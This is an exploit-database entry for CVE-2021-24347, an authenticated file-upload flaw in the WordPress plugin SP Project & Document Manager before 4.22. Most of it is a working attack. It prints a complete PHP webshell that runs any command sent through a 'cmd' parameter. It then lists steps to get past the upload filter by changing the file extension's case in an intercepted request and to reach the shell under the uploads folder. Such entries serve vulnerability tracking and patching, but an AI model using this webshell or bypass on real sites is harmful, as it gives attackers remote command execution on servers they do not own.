Exploit for SP Project & Document Manager < 4.22 - Authenticated Shell Upload CVE-2021-24347

Name: Exploit for SP Project & Document Manager < 4.22 - Authenticated Shell Upload CVE-2021-24347
Rating: 5 (326 reviews)

2021-05-25 | CVSS 6.5

## https://sploitus.com/exploit?id=WPEX-ID:8F6E82D5-C0E9-468E-ACB8-7CD549F6A45A
1. Upload a webshell as web.php:

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>

2. Intercept the request
3. Rename the dlg-upload-file[] parameter from web.php with web.pHP
4. Visit http://website.com/wp-content/uploads/sp-client-document-manager/[user's uid]/web.php and use the webshell